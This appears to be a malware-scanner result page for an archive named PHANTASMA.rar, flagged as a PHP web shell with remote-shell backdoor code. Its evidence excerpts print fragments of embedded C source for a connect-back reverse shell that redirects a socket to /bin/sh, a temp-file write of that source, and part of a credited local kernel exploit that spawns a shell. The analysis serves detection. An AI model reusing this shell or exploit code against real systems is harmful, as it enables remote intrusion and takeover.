PHANTASMA.rar

Contains remote shell backdoor code

Semi-Auto-generated - file PHANTASMA.php.txtText adds native shell execution
SHA-25690ba00b4f301b895e907f43d9be909d4cfab85ce45700580817f1773b1d8a4fb
MaleculeO(C)Th

Evidence

Semi-Auto-generated - file PHANTASMA.php.txt lines 84–102
⋯7 lines
91
92 if ($safemode != "") {
93 echo "<DIV STYLE=\"font-family: verdana; font-size: 15px;\">[*] Safemode Mode Run</DIV>";
94
95?>
⋯7 lines
Text adds a native connect call lines 219–239
219:13… " return 1;\n" .
220 " }\n" .
221 " if (connect(sock, (struct sockaddr *)&sin, sizeof(sin)) != 0) {\n" .
222 " printf(\"[-] Unable to Connect\\n\");\n" .
223 " return 1;\n" .
224 " }\n" .
225 " printf(\"[*] Spawning Shell\\n\");\n" .
226 " f = fork( );\n" .
227 " if (f < 0) {\n" .
228 " printf(\"[-] Unable to Fork\\n\");\n" .
229 " return 1;\n" .
230 " } else if (!f) {\n" .
231 " write(sock, msg, sizeof(msg));\n" .
232 " dup2(sock, 0);\n" .
233 " dup2(sock, 1);\n" .
234 " dup2(sock, 2);\n" .
235 " execl(\"/bin/sh\", \"shell\", NULL);\n" .
236 " close(sock);\n" .
237 " return 0;\n" .
238 " }\n" .
239 …
Temporary directory path reference lines 241–253
241:6… "}\n";
242
243 $fp = fopen("/tmp/dc-connectback.c", "w");
244 $ok = fwrite($fp, $shell);
245
⋯8 lines
English function-word token "the" lines 256–261
256:59… .\n" .
257 " *\n" .
258 " * The bug was found by Paul (IhaQueR) Starzetz <[email protected]>\n" .
259 " *\n" .
260 " * Further research and exploit development by\n" .
261 " * Wojciech Purczynski <[email protected]> and Paul Star …
Text adds native shell execution lines 500–504
500:24… ar * argv[] = { _PATH_BSHELL, NULL };\n" .
501 " execve(_PATH_BSHELL, argv, environ);\n" .
502 " fatal(\"Unable to spawn shell\\n\");\n" .
503 "}\n" .
504 …

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.